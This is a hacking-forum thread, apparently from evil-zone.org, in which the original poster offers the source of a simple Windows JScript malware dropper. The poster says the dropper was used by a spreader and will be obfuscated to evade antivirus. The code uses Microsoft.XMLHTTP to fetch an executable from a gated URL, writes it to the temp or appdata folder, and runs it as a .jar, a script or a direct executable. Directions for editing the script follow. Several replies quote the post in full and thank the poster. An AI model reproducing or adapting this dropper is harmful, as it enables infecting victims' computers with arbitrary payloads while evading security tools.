Malware Simple Malware JS Dropper Source Code | evil-zone.org | 2024

[Anony]

This code is a simple dropper, used recently by spreader. It will be obfuscated to avoid antivirus protection. To make sure how the script works, let me explain.

Download Payload

The script uses an HTTP request to download an executable file (windows.exe) from a specified URL (fileUrl).

var fileUrl = "

You must be registered for see links

";
var httpRequest = WScript.CreateObject("Microsoft.XMLHTTP");
httpRequest.open("GET", fileUrl, false);
httpRequest.send();

Save the Payload

The script saves the downloaded file to a specific location on the user's file system, either in the temporary files directory or the application data directory.

var stream = WScript.CreateObject("Adodb.Stream");
stream.Type = 1; // binary
stream.open();
stream.write(httpRequest.responseBody);
stream.savetofile(fileName, 2); // save to file
stream.close();

Execute the Payload

After saving the file, the script executes it. It checks the file extension to determine the appropriate method for execution:

.jar files are run using java -jar.
.vbs and .wsf files are run using wscript.
Other file types are executed directly.

if (fileName.endsWith(".jar")) {
shell.run("java -jar \"" + fileName + "\"");
} else if (fileName.endsWith(".vbs") || fileName.endsWith(".wsf")) {
shell.run("wscript \"" + fileName + "\"");
} else {
shell.run("\"" + fileName + "\"");
}

To edit the script, edit line...

10 for the fileName.
11 for the fileUrl.
12 for the useTempPath (using it would be "true" and doesn't need admin)

Download:

To view the content, you need to Sign In or Register.

To view the content, you need to Sign In or Register.

​

 

[bryanbarnes108]

does it work?

 

[Thailand]

thxyou

 

[Janchris22]

tnx

 

[kokojoelas]

This code is a simple dropper, used recently by spreader. It will be obfuscated to avoid antivirus protection. To make sure how the script works, let me explain.

Download Payload

The script uses an HTTP request to download an executable file (windows.exe) from a specified URL (fileUrl).

var fileUrl = "

You must be registered for see links

";
var httpRequest = WScript.CreateObject("Microsoft.XMLHTTP");
httpRequest.open("GET", fileUrl, false);
httpRequest.send();

Save the Payload

The script saves the downloaded file to a specific location on the user's file system, either in the temporary files directory or the application data directory.

var stream = WScript.CreateObject("Adodb.Stream");
stream.Type = 1; // binary
stream.open();
stream.write(httpRequest.responseBody);
stream.savetofile(fileName, 2); // save to file
stream.close();

Execute the Payload

After saving the file, the script executes it. It checks the file extension to determine the appropriate method for execution:

.jar files are run using java -jar.
.vbs and .wsf files are run using wscript.
Other file types are executed directly.

if (fileName.endsWith(".jar")) {
shell.run("java -jar \"" + fileName + "\"");
} else if (fileName.endsWith(".vbs") || fileName.endsWith(".wsf")) {
shell.run("wscript \"" + fileName + "\"");
} else {
shell.run("\"" + fileName + "\"");
}

To edit the script, edit line...

10 for the fileName.
11 for the fileUrl.
12 for the useTempPath (using it would be "true" and doesn't need admin)

Download:


*** Hidden text: cannot be quoted. ***
​

*** Hidden text: cannot be quoted. ***

​

wow

 

[totoro]

Great job, thanks

 

[Heyman]

H

This code is a simple dropper, used recently by spreader. It will be obfuscated to avoid antivirus protection. To make sure how the script works, let me explain.

Download Payload

The script uses an HTTP request to download an executable file (windows.exe) from a specified URL (fileUrl).

var fileUrl = "

You must be registered for see links

";
var httpRequest = WScript.CreateObject("Microsoft.XMLHTTP");
httpRequest.open("GET", fileUrl, false);
httpRequest.send();

Save the Payload

The script saves the downloaded file to a specific location on the user's file system, either in the temporary files directory or the application data directory.

var stream = WScript.CreateObject("Adodb.Stream");
stream.Type = 1; // binary
stream.open();
stream.write(httpRequest.responseBody);
stream.savetofile(fileName, 2); // save to file
stream.close();

Execute the Payload

After saving the file, the script executes it. It checks the file extension to determine the appropriate method for execution:

.jar files are run using java -jar.
.vbs and .wsf files are run using wscript.
Other file types are executed directly.

if (fileName.endsWith(".jar")) {
shell.run("java -jar \"" + fileName + "\"");
} else if (fileName.endsWith(".vbs") || fileName.endsWith(".wsf")) {
shell.run("wscript \"" + fileName + "\"");
} else {
shell.run("\"" + fileName + "\"");
}

To edit the script, edit line...

10 for the fileName.
11 for the fileUrl.
12 for the useTempPath (using it would be "true" and doesn't need admin)

Download:


*** Hidden text: cannot be quoted. ***
​

*** Hidden text: cannot be quoted. ***

​

I

 

[cherarmin]

This code is a simple dropper, used recently by spreader. It will be obfuscated to avoid antivirus protection. To make sure how the script works, let me explain.

Download Payload

The script uses an HTTP request to download an executable file (windows.exe) from a specified URL (fileUrl).

var fileUrl = "

You must be registered for see links

";
var httpRequest = WScript.CreateObject("Microsoft.XMLHTTP");
httpRequest.open("GET", fileUrl, false);
httpRequest.send();

Save the Payload

The script saves the downloaded file to a specific location on the user's file system, either in the temporary files directory or the application data directory.

var stream = WScript.CreateObject("Adodb.Stream");
stream.Type = 1; // binary
stream.open();
stream.write(httpRequest.responseBody);
stream.savetofile(fileName, 2); // save to file
stream.close();

Execute the Payload

After saving the file, the script executes it. It checks the file extension to determine the appropriate method for execution:

.jar files are run using java -jar.
.vbs and .wsf files are run using wscript.
Other file types are executed directly.

if (fileName.endsWith(".jar")) {
shell.run("java -jar \"" + fileName + "\"");
} else if (fileName.endsWith(".vbs") || fileName.endsWith(".wsf")) {
shell.run("wscript \"" + fileName + "\"");
} else {
shell.run("\"" + fileName + "\"");
}

To edit the script, edit line...

10 for the fileName.
11 for the fileUrl.
12 for the useTempPath (using it would be "true" and doesn't need admin)

Download:


*** Hidden text: cannot be quoted. ***
​

*** Hidden text: cannot be quoted. ***

​

ok